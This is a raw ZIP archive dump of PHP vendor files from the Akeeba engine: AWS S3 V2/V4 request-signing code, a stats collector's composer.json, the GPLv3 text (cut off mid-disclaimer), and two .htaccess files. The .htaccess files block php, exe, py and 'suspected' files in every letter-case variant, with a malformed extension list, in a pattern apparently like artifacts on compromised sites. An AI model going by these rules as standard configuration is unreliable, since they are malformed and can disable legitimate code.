		if ($isPresignedURL)
		{
			$stringToSign = "AWS4-HMAC-SHA256\n" .
			                $parameters['X-Amz-Date'] . "\n" .
			                $credentialScope . "\n" .
			                $hashedCanonicalRequest;
		}

		// ========== Step 3: Calculate the signature ==========
		// See http://docs.aws.amazon.com/general/latest/gr/sigv4-calculate-signature.html
		$kSigning = $this->getSigningKey($signatureDate);

		$signature = hash_hmac('sha256', $stringToSign, $kSigning, false);

		// ========== Step 4: Add the signing information to the Request ==========
		// See http://docs.aws.amazon.com/general/latest/gr/sigv4-add-signature-to-request.html

		$authorization = 'AWS4-HMAC-SHA256 Credential=' .
		                 $this->request->getConfiguration()->getAccess() . '/' . $credentialScope . ', ' .
		                 'SignedHeaders=' . $signedHeaders . ', ' .
		                 'Signature=' . $signature;

		// For presigned URLs we only return the Base64-encoded signature without the AWS format specifier and the
		// public access key.
		if ($isPresignedURL)
		{
			$parameters['X-Amz-Signature'] = $signature;

			return serialize($parameters);
		}

		return $authorization;
	}

	/**
	 * Calculate the AWS4 signing key
	 *
	 * @param   DateTime  $signatureDate  The date the signing key is good for
	 *
	 * @return  string
	 */
	private function getSigningKey(DateTime $signatureDate): string
	{
		$kSecret  = $this->request->getConfiguration()->getSecret();
		$kDate    = hash_hmac('sha256', $signatureDate->format('Ymd'), 'AWS4' . $kSecret, true);
		$kRegion  = hash_hmac('sha256', $this->request->getConfiguration()->getRegion(), $kDate, true);
		$kService = hash_hmac('sha256', 's3', $kRegion, true);
		$kSigning = hash_hmac('sha256', 'aws4_request', $kService, true);

		return $kSigning;
	}

	private function urlencode(?string $toEncode): string
	{
		return empty($toEncode) ? '' : rawurlencode($toEncode);
	}

	/**
	 * Get the correct hostname for the given AWS region
	 *
	 * @param   string  $region
	 *
	 * @return  string
	 */
	private function getPresignedHostnameForRegion(string $region): string
	{
		$config   = $this->request->getConfiguration();
		$endpoint = $config->getEndpoint();

		if (empty($endpoint))
		{
			$endpoint = 's3.' . $region . '.amazonaws.com';
		}

		// As of October 2023, AWS does not consider DualStack signed URLs as valid. Whatever.
		$dualstackEnabled = false && $this->request->getConfiguration()->getDualstackUrl();

		// If dual-stack URLs are enabled then prepend the endpoint
		if ($dualstackEnabled)
		{
			$endpoint = 's3.dualstack.' . $region . '.amazonaws.com';
		}

		if ($region == 'cn-north-1')
		{
			return $endpoint . '.cn';
		}

		return $endpoint;
	}

	/**
	 * Is this a valid bucket name?
	 *
	 * @param   string  $bucketName   The bucket name to check
	 * @param   bool    $asSubdomain  Should I put additional restrictions for use as a subdomain?
	 *
	 * @return  bool
	 * @since   2.3.1
	 *
	 * @see     https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html
	 */
	private function isValidBucketName(string $bucketName, bool $asSubdomain = true): bool
	{
		/**
		 * If there are dots in the bucket name I can't use it as a subdomain.
		 *
		 * "If you include dots in a bucket's name, you can't use virtual-host-style addressing over HTTPS, unless you
		 * perform your own certificate validation. This is because the security certificates used for virtual hosting
		 * of buckets don't work for buckets with dots in their names."
		 */
		if ($asSubdomain && strpos($bucketName, '.') !== false)
		{
			return false;
		}

		/**
		 * - Bucket names must be between 3 (min) and 63 (max) characters long.
		 * - Bucket names can consist only of lowercase letters, numbers, dots (.), and hyphens (-).
		 */
		if (!preg_match('/^[a-z0-9\-.]{3,63}$/', $bucketName))
		{
			return false;
		}

		// Bucket names must begin and end with a letter or number.
		if (!preg_match('/^[a-z0-9].*[a-z0-9]$/', $bucketName))
		{
			return false;
		}

		// Bucket names must not contain two adjacent periods.
		if (preg_match('/\.\./', $bucketName))
		{
			return false;
		}

		// Bucket names must not be formatted as an IP address (for example, 192.168.5.4).
		if (preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $bucketName))
		{
			return false;
		}

		// Bucket names must not start with the prefix xn--.
		if (strpos($bucketName, 'xn--') === 0)
		{
			return false;
		}

		// Bucket names must not start with the prefix sthree- and the prefix sthree-configurator.
		if (strpos($bucketName, 'sthree-') === 0)
		{
			return false;
		}

		// Bucket names must not end with the suffix -s3alias.
		if (substr($bucketName, -8) === '-s3alias')
		{
			return false;
		}

		// Bucket names must not end with the suffix --ol-s3.
		if (substr($bucketName, -7) === '--ol-s3')
		{
			return false;
		}

		return true;
	}
}
PK     \ǆ!P  P  %  vendor/akeeba/s3/src/Signature/V2.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\S3\Signature;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\S3\Signature;

/**
 * Implements the Amazon AWS v2 signatures
 *
 * @see http://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html
 */
class V2 extends Signature
{
	/**
	 * Pre-process the request headers before we convert them to cURL-compatible format. Used by signature engines to
	 * add custom headers, e.g. x-amz-content-sha256
	 *
	 * @param   array  $headers     The associative array of headers to process
	 * @param   array  $amzHeaders  The associative array of amz-* headers to process
	 *
	 * @return  void
	 */
	public function preProcessHeaders(array &$headers, array &$amzHeaders): void
	{
		// No pre-processing required for V2 signatures
	}

	/**
	 * Get a pre-signed URL for the request. Typically used to pre-sign GET requests to objects, i.e. give shareable
	 * pre-authorized URLs for downloading files from S3.
	 *
	 * @param   integer|null  $lifetime  Lifetime in seconds. NULL for default lifetime.
	 * @param   bool          $https     Use HTTPS ($hostBucket should be false for SSL verification)?
	 *
	 * @return  string  The presigned URL
	 */
	public function getAuthenticatedURL(?int $lifetime = null, bool $https = false): string
	{
		// Set the Expires header
		if (is_null($lifetime))
		{
			$lifetime = 10;
		}

		$expires = time() + $lifetime;
		$this->request->setHeader('Expires', $expires);

		$bucket    = $this->request->getBucket();
		$uri       = $this->request->getResource();
		$headers   = $this->request->getHeaders();
		$accessKey = $this->request->getConfiguration()->getAccess();
		$protocol  = $https ? 'https' : 'http';
		$signature = $this->getAuthorizationHeader();

		$search = '/' . $bucket;

		// This does not look right... The bucket name must be included in the URL.
//		 if (strpos($uri, $search) === 0)
//		 {
//		 	$uri = substr($uri, strlen($search));
//		 }

		$queryParameters = array_merge($this->request->getParameters(), [
			'AWSAccessKeyId' => $accessKey,
			'Expires'        => sprintf('%u', $expires),
			'Signature'      => $signature,
		]);

		$query = http_build_query($queryParameters);

		// fix authenticated url for Google Cloud Storage - https://cloud.google.com/storage/docs/access-control/create-signed-urls-program
		if ($this->request->getConfiguration()->getEndpoint() === "storage.googleapis.com")
		{
			// replace host with endpoint
			$headers['Host'] = 'storage.googleapis.com';
			// replace "AWSAccessKeyId" with "GoogleAccessId"
			$query = str_replace('AWSAccessKeyId', 'GoogleAccessId', $query);
			// add bucket to url
			$uri = '/' . $bucket . $uri;
		}

		$url = $protocol . '://' . $headers['Host'] . $uri;
		$url .= (strpos($uri, '?') !== false) ? '&' : '?';
		$url .= $query;

		return $url;
	}

	/**
	 * Returns the authorization header for the request
	 *
	 * @return  string
	 */
	public function getAuthorizationHeader(): string
	{
		$verb           = strtoupper($this->request->getVerb());
		$resourcePath   = $this->request->getResource();
		$headers        = $this->request->getHeaders();
		$amzHeaders     = $this->request->getAmzHeaders();
		$parameters     = $this->request->getParameters();
		$bucket         = $this->request->getBucket();
		$isPresignedURL = false;

		$amz       = [];
		$amzString = '';

		// Collect AMZ headers for signature
		foreach ($amzHeaders as $header => $value)
		{
			if (strlen($value) > 0)
			{
				$amz[] = strtolower($header) . ':' . $value;
			}
		}

		// AMZ headers must be sorted and sent as separate lines
		if (count($amz) > 0)
		{
			sort($amz);
			$amzString = "\n" . implode("\n", $amz);
		}

		// If the Expires query string parameter is set up we're pre-signing a download URL. The string to sign is a bit
		// different in this case; it does not include the Date, it includes the Expires.
		// See http://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html#RESTAuthenticationQueryStringAuth
		if (isset($headers['Expires']))
		{
			if (isset($headers['Date']))
			{
				$headers['Date'] = $headers['Expires'];
			}
			else
			{
				$amzHeaders['x-amz-date'] = $headers['Expires'];
			}

			unset ($headers['Expires']);

			$isPresignedURL = true;
		}

		/**
		 * The resource path in S3 V2 signatures must ALWAYS contain the bucket name if a bucket is defined, even if we
		 * are not using path-style access to the resource
		 */
		if (!empty($bucket) && !$this->request->getConfiguration()->getUseLegacyPathStyle())
		{
			$resourcePath = '/' . $bucket . $resourcePath;
		}

		$stringToSign = $verb . "\n" .
			($headers['Content-MD5'] ?? '') . "\n" .
			($headers['Content-Type'] ?? '') . "\n" .
			($headers['Date'] ?? '') .
			$amzString . "\n" .
			$resourcePath;

		// CloudFront only requires a date to be signed
		if ($headers['Host'] == 'cloudfront.amazonaws.com')
		{
			$stringToSign = $headers['Date'] ?? $amzHeaders['x-amz-date'] ?? '';
		}

		$amazonV2Hash = $this->amazonV2Hash($stringToSign);

		// For presigned URLs we only return the Base64-encoded signature without the AWS format specifier and the
		// public access key.
		if ($isPresignedURL)
		{
			return $amazonV2Hash;
		}

		return 'AWS ' .
			$this->request->getConfiguration()->getAccess() . ':' .
			$amazonV2Hash;
	}

	/**
	 * Creates a HMAC-SHA1 hash. Uses the hash extension if present, otherwise falls back to slower, manual calculation.
	 *
	 * @param   string  $stringToSign  String to sign
	 *
	 * @return  string
	 */
	private function amazonV2Hash(string $stringToSign): string
	{
		$secret = $this->request->getConfiguration()->getSecret();

		if (extension_loaded('hash'))
		{
			$raw = hash_hmac('sha1', $stringToSign, $secret, true);

			return base64_encode($raw);
		}

		$raw = pack('H*', sha1(
				(str_pad($secret, 64, chr(0x00)) ^ (str_repeat(chr(0x5c), 64))) .
				pack('H*', sha1(
						(str_pad($secret, 64, chr(0x00)) ^ (str_repeat(chr(0x36), 64))) . $stringToSign
					)
				)
			)
		);

		return base64_encode($raw);
	}

}
PK     \Sʉ      (  vendor/akeeba/s3/src/Signature/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        vendor/akeeba/s3/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \d    +  vendor/akeeba/stats_collector/composer.jsonnu [        {
	"name": "akeeba/stats_collector",
	"description": "Usage Statistic collector",
	"minimum-stability": "stable",
	"license": "GPL-3.0-or-later",
	"authors": [
		{
			"name": "Nicholas K. Dionysopoulos",
			"email": "nicholas_NO_SPAM@akeeba.com"
		}
	],
	"require": {
		"php": "^7.2|^8.0"
	},
	"suggest": {
		"ext-openssl": "Fallback when random_bytes is not available",
		"ext-curl": "For sending the usage stats to the server"
	},
	"config": {
		"platform": {
			"php": "7.2.999"
		}
	},
	"autoload": {
		"psr-4": {
			"Akeeba\\UsageStats\\Collector\\": "src"
		}
	},
	"archive": {
		"exclude": [
			".idea/**",
			".gitignore",
			"composer.lock"
		]
	}
}PK     \!n^L  L  (  vendor/akeeba/stats_collector/LICENSE.mdnu [        # GNU GENERAL PUBLIC LICENSE

Version 3, 29 June 2007

Copyright (C) 2007 Free Software Foundation, Inc.
<https://fsf.org/>

Everyone is permitted to copy and distribute verbatim copies of this
license document, but changing it is not allowed.

## Preamble

The GNU General Public License is a free, copyleft license for
software and other kinds of works.

The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom
to share and change all versions of a program--to make sure it remains
free software for all its users. We, the Free Software Foundation, use
the GNU General Public License for most of our software; it applies
also to any other work released this way by its authors. You can apply
it to your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you
have certain responsibilities if you distribute copies of the
software, or if you modify it: responsibilities to respect the freedom
of others.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.

Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the
manufacturer can do so. This is fundamentally incompatible with the
aim of protecting users' freedom to change the software. The
systematic pattern of such abuse occurs in the area of products for
individuals to use, which is precisely where it is most unacceptable.
Therefore, we have designed this version of the GPL to prohibit the
practice for those products. If such problems arise substantially in
other domains, we stand ready to extend this provision to those
domains in future versions of the GPL, as needed to protect the
freedom of users.

Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish
to avoid the special danger that patents applied to a free program
could make it effectively proprietary. To prevent this, the GPL
assures that patents cannot be used to render the program non-free.

The precise terms and conditions for copying, distribution and
modification follow.

## TERMS AND CONDITIONS

### 0. Definitions.

"This License" refers to version 3 of the GNU General Public License.

"Copyright" also means copyright-like laws that apply to other kinds
of works, such as semiconductor masks.

"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.

To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of
an exact copy. The resulting work is called a "modified version" of
the earlier work or a work "based on" the earlier work.

A "covered work" means either the unmodified Program or a work based
on the Program.

To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user
through a computer network, with no transfer of a copy, is not
conveying.

An interactive user interface displays "Appropriate Legal Notices" to
the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

### 1. Source Code.

The "source code" for a work means the preferred form of the work for
making modifications to it. "Object code" means any non-source form of
a work.

A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

The Corresponding Source need not include anything that users can
regenerate automatically from other parts of the Corresponding Source.

The Corresponding Source for a work in source code form is that same
work.

### 2. Basic Permissions.

All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

You may make, run and propagate covered works that you do not convey,
without conditions so long as your license otherwise remains in force.
You may convey covered works to others for the sole purpose of having
them make modifications exclusively for you, or provide you with
facilities for running those works, provided that you comply with the
terms of this License in conveying all material for which you do not
control copyright. Those thus making or running the covered works for
you must do so exclusively on your behalf, under your direction and
control, on terms that prohibit them from making any copies of your
copyrighted material outside their relationship with you.

Conveying under any other circumstances is permitted solely under the
conditions stated below. Sublicensing is not allowed; section 10 makes
it unnecessary.

### 3. Protecting Users' Legal Rights From Anti-Circumvention Law.

No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such
circumvention is effected by exercising rights under this License with
respect to the covered work, and you disclaim any intention to limit
operation or modification of the work as a means of enforcing, against
the work's users, your or third parties' legal rights to forbid
circumvention of technological measures.

### 4. Conveying Verbatim Copies.

You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

### 5. Conveying Modified Source Versions.

You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these
conditions:

-   a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.
-   b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under
    section 7. This requirement modifies the requirement in section 4
    to "keep intact all notices".
-   c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy. This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged. This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.
-   d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

### 6. Conveying Non-Source Forms.

You may convey a covered work in object code form under the terms of
sections 4 and 5, provided that you also convey the machine-readable
Corresponding Source under the terms of this License, in one of these
ways:

-   a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.
-   b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the Corresponding
    Source from a network server at no charge.
-   c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source. This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.
-   d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge. You need not require recipients to copy the
    Corresponding Source along with the object code. If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source. Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.
-   e) Convey the object code using peer-to-peer transmission,
    provided you inform other peers where the object code and
    Corresponding Source of the work are being offered to the general
    public at no charge under subsection 6d.

A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal,
family, or household purposes, or (2) anything designed or sold for
incorporation into a dwelling. In determining whether a product is a
consumer product, doubtful cases shall be resolved in favor of
coverage. For a particular product received by a particular user,
"normally used" refers to a typical or common use of that class of
product, regardless of the status of the particular user or of the way
in which the particular user actually uses, or expects or is expected
to use, the product. A product is a consumer product regardless of
whether the product has substantial commercial, industrial or
non-consumer uses, unless such uses represent the only significant
mode of use of the product.

"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to
install and execute modified versions of a covered work in that User
Product from a modified version of its Corresponding Source. The
information must suffice to ensure that the continued functioning of
the modified object code is in no case prevented or interfered with
solely because modification has been made.

If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or
updates for a work that has been modified or installed by the
recipient, or for the User Product in which it has been modified or
installed. Access to a network may be denied when the modification
itself materially and adversely affects the operation of the network
or violates the rules and protocols for communication across the
network.

Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

### 7. Additional Terms.

"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders
of that material) supplement the terms of this License with terms:

-   a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or
-   b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or
-   c) Prohibiting misrepresentation of the origin of that material,
    or requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or
-   d) Limiting the use for publicity purposes of names of licensors
    or authors of the material; or
-   e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or
-   f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions
    of it) with contractual assumptions of liability to the recipient,
    for any liability that these contractual assumptions directly
    impose on those licensors and authors.

All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions; the
above requirements apply either way.

### 8. Termination.

You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

However, if you cease all violation of this License, then your license
from a particular copyright holder is reinstated (a) provisionally,
unless and until the copyright holder explicitly and finally
terminates your license, and (b) permanently, if the copyright holder
fails to notify you of the violation by some reasonable means prior to
60 days after the cessation.

Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

### 9. Acceptance Not Required for Having Copies.

You are not required to accept this License in order to receive or run
a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

### 10. Automatic Licensing of Downstream Recipients.

Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.

An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

### 11. Patents.

A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".

A contributor's "essential patent claims" are all patent claims owned
or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

A patent license is "discriminatory" if it does not include within the
scope of its coverage, prohibits the exercise of, or is conditioned on
the non-exercise of one or more of the rights that are specifically
granted under this License. You may not convey a covered work if you
are a party to an arrangement with a third party that is in the
business of distributing software, under which you make payment to the
third party based on the extent of your activity of conveying the
work, and under which the third party grants, to any of the parties
who would receive the covered work from you, a discriminatory patent
license (a) in connection with copies of the covered work conveyed by
you (or copies made from those copies), or (b) primarily for and in
connection with specific products or compilations that contain the
covered work, unless you entered into that arrangement, or that patent
license was granted, prior to 28 March 2007.

Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

### 12. No Surrender of Others' Freedom.

If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under
this License and any other pertinent obligations, then as a
consequence you may not convey it at all. For example, if you agree to
terms that obligate you to collect a royalty for further conveying
from those to whom you convey the Program, the only way you could
satisfy both those terms and this License would be to refrain entirely
from conveying the Program.

### 13. Use with the GNU Affero General Public License.

Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

### 14. Revised Versions of this License.

The Free Software Foundation may publish revised and/or new versions
of the GNU General Public License from time to time. Such new versions
will be similar in spirit to the present version, but may differ in
detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program
specifies that a certain numbered version of the GNU General Public
License "or any later version" applies to it, you have the option of
following the terms and conditions either of that numbered version or
of any later version published by the Free Software Foundation. If the
Program does not specify a version number of the GNU General Public
License, you may choose any version ever published by the Free
Software Foundation.

If the Program specifies that a proxy can decide which future versions
of the GNU General Public License can be used, that proxy's public
statement of acceptance of a version permanently authorizes you to
choose that version for the Program.

Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

### 15. Disclaimer of Warranty.

THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT
WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT
